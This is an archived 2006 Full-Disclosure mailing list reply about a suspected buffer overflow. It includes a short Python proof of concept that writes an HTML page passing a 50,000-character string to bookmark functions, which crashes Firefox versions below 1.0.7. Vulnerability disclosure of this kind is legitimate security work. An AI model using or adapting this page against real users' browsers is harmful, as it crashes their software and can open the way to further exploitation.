[Full-disclosure] Buffer Overflow vulnerability in Windows Display Manager [Suspected]

casiamo casiamo at gmail.com
Mon Jan 2 16:09:51 GMT 2006


Hello Sumit,

I saw this for some time ago too and I far as I know the below code would do
the same,
with the versions below 1.0.7. As I remember were all input fields
"vulnerable". I have
choosen the bookmark "name" field, which will popup after loading with a
long buffer.

html = open("firefox.html", "w")
buff = 'A' * 50000
html.write("<html><head>\n"
           "<script type=\"text/javascript\">\n"
           "function bookmarksite(title, url){\n"
           "if (document.all)\n"
           "window.external.AddFavorite(url, title);\n"
           "else if (window.sidebar)\n"
           "window.sidebar.addPanel(title, url, \"\")}\n"
           "</script></head>\n"
           "<body onload=\"javascript:bookmarksite('"+buff+"',
'http://www.mozilla.org')\"
>\n"
           "</body></html>")
html.close()

Regards,

Casiamo
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060102/0e517f6c/attachment.html 


Full-Disclosure is hosted and sponsored by Secunia.